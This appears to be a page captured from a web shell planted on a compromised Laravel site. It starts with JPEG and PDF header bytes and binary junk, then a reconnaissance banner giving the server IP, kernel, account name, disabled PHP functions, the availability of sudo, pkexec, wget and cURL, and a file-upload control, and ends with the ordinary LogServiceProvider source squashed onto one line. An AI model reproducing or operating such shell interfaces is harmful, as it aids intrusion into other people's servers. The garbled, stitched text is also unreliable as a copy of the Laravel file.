ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/_api/vendor/laravel/framework/src/Illuminate/Log/ |
Upload File : |
<?php namespace Illuminate\Log; use Monolog\Logger as Monolog; use Illuminate\Support\ServiceProvider; class LogServiceProvider extends ServiceProvider { /** * Register the service provider. * * @return void */ public function register() { $this->app->singleton('log', function () { return $this->createLogger(); }); } /** * Create the logger. * * @return \Illuminate\Log\Writer */ public function createLogger() { $log = new Writer( new Monolog($this->channel()), $this->app['events'] ); if ($this->app->hasMonologConfigurator()) { call_user_func($this->app->getMonologConfigurator(), $log->getMonolog()); } else { $this->configureHandler($log); } return $log; } /** * Get the name of the log "channel". * * @return string */ protected function channel() { if ($this->app->bound('config') && $channel = $this->app->make('config')->get('app.log_channel')) { return $channel; } return $this->app->bound('env') ? $this->app->environment() : 'production'; } /** * Configure the Monolog handlers for the application. * * @param \Illuminate\Log\Writer $log * @return void */ protected function configureHandler(Writer $log) { $this->{'configure'.ucfirst($this->handler()).'Handler'}($log); } /** * Configure the Monolog handlers for the application. * * @param \Illuminate\Log\Writer $log * @return void */ protected function configureSingleHandler(Writer $log) { $log->useFiles( $this->app->storagePath().'/logs/laravel.log', $this->logLevel() ); } /** * Configure the Monolog handlers for the application. * * @param \Illuminate\Log\Writer $log * @return void */ protected function configureDailyHandler(Writer $log) { $log->useDailyFiles( $this->app->storagePath().'/logs/laravel.log', $this->maxFiles(), $this->logLevel() ); } /** * Configure the Monolog handlers for the application. * * @param \Illuminate\Log\Writer $log * @return void */ protected function configureSyslogHandler(Writer $log) { $log->useSyslog('laravel', $this->logLevel()); } /** * Configure the Monolog handlers for the application. * * @param \Illuminate\Log\Writer $log * @return void */ protected function configureErrorlogHandler(Writer $log) { $log->useErrorLog($this->logLevel()); } /** * Get the default log handler. * * @return string */ protected function handler() { if ($this->app->bound('config')) { return $this->app->make('config')->get('app.log', 'single'); } return 'single'; } /** * Get the log level for the application. * * @return string */ protected function logLevel() { if ($this->app->bound('config')) { return $this->app->make('config')->get('app.log_level', 'debug'); } return 'debug'; } /** * Get the maximum number of log files for the application. * * @return int */ protected function maxFiles() { if ($this->app->bound('config')) { return $this->app->make('config')->get('app.log_max_files', 5); } return 0; } }